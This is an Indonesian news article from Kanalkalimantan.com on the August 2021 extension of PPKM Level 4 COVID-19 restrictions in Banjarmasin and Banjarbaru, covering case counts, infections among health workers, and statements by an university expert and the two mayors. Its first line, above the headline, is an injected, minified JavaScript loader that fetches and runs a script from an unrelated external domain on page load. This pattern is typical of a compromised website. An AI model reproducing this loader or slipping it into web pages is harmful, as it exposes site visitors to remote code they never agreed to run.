(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjarmasin-Banjarbaru Perpanjang PPKM Level 4, Tim Pakar Covid-19 ULM: Upaya Melindungi Nakes


KANALKALIMANTAN.COM, BANJARMASIH – Masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 di Banjarmasin dan Banjarbaru diperpanjang mulai Selasa (3/8/2021).

Keputusan ini dilatarbelakangi karena masih tingginya tingkat penularan Covid-19, dimana kasus kematian selama PPKM level 4 dua kota di Kalsel itu, dari 26 Juli sampai 2 Agustus mencapai 85 orang. Sementara kasus terkonfirmasi positif berjumlah 2.027 orang pada dua kota bertetangga tersebut.

Ledakan kasus Covid-19 ini juga berdampak terhadap risiko terpapar Covid-19 tenaga kesehatan (nakes).

Data yang terhimpun dari New All Records, dideteksi ada 1.236 nakes yang terinfeksi Covid-19 selama bulan Juli.

 

 

Baca juga: Palangkaraya PPKM Level 4 Diperketat, Gubernur Kalteng: Jangan Lengah, Angka Kematian Meningkat

Jumlah tersebut naik lebih dari 1000 persen dibandingkan dengan kasus konfirmasi yang menimpa nakes pada bulan juli dengan persentase 10% pada kasus konfirmasi provinsi.

Sebanyak 56 persen nakes terkonfirmasi Covid-19 pada bulan Juli yang bekerja di rumah sakit dan 35 persen yang bekerja di Puskesmas.

Hidayatullah Muttaqin, Tim Pakar Percepatan Penanganan Covid-19. Foto: dok.pribadi

Hidayatullah Muttaqin, salah satu anggota Tim Pakar Percepatan Penanganan Covid-19 Universitas Lambung Mangkurat (ULM) memberikan pendapat mengenai hal tersebut, Nakes memiliki risiko paling tinggi. “Apalagi untuk fasilitas kesehatan yang berhadapan langsung dengan warga yang terpapar Covid-19,” ujarnya kepada Kanalkalimantan.com.

“Situasi ini sangat mendesak, mereka harus memberikan pelayanan kesehatan bagi masyarakat. Di sisi lain, mereka juga harus selalu sehat. Sedangkan pekerjaan mereka sangat berisiko,” ucap Hidayatullah.

Menurut anggota Tim Ahli Satgas Covid-19 Kalsel ini, berharap besar masyarakat dapat membantu nakes di seluruh wilayah di Kalsel.

“Caranya ya dengan tidak tertular, jadi beban nakes berkurang. Terapkan protokol kesehatan dengan benar, tidak berkerumun, tidak bepergian kecuali sangat penting,” tambahnya.

Baca juga: BREAKING NEWS. PPKM Level 4 di Kota Banjarbaru Diperpanjang 9 Agustus

Warga Diminta Taat Protokol Kesehatan

Wali Kota Banjarbaru, Aditya Mufti Ariffin, menegaskan akan menjalankan seluruh kebijakan sebagaimana instruksi pemerintah pusat. Pun diakuinya gelombang penyebaran Covid-19 yang sangat masif beberapa waktu terakhir memang sangat memprihatinkan khususnya di wilayah Banjarbaru.

“Kami Forkopimda Kota Banjarbaru, sangat prihatin dengan penyebaran Covid-19 beberapa waktu terakhir ini. Kerja sama masyarakat sangat penting saat ini kita lakukan terutama dengan pelaksanaan protokol kesehatan, selain vaksin hari ini kunci keberhasilan adalah protokol kesehatan,” ucapnya.

Aditya mengakui bahwa sejatinya PPKM Level 4 cukup membebani masyarakat, khususnya di sektor ekonomi. Kendati demikian, terangnya pemerintah akan berusaha mengurangi beban masyarakat salah satunya melalui penyaluran bantuan sosial. Dirinya menegaskan pandemi Covid-19 harus dihadapi bersama-sama dan salin berempati terhadap sesama.

“Kami mengerti keadaan ekonomi, keadaan perasaan masyarakat saat ini. Untuk itu sekali lagi mari kita terapkan protokol kesehatan secara ketat agar kita bisa menekan penyebaran Covid-19 ini,” tuntas Wali Kota Banjarbaru.

Baca juga: Lika Liku Bantuan Rp 2 Triliun Akidi Tio Berujung Tersangka Lalu Dibatalkan

Perpanjangan status PPKM di Banjarmasin ini disampaikan Wali Kota Banjarmasin Ibnu Sina, usai rapat evaluasi satgas Covid-19 di Aula Kayuh Baimbai, Senin (2/8/2021) sore.

“Setelah melalui rapat evaluasi dengan cross check perkembangan kasus Covid-1, kami menilai masih cukup berisiko. Maka itu PPKM level 4 di Banjarmasin kita sepakati diperpanjang hingga 8 Agustus,” terangnya.

Perpanjangan PPKM tersebut memiliki sejumlah catatan yang harus tetap dilakukan. Ia terutama mengajak masyarakat tetap waspada dan selalu disiplin prokes. (kanalkalimantan.com/nurul)

Reporter: nurul
Editor: bie


Al Ghifari

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

6 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

7 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

8 jam ago

This website uses cookies.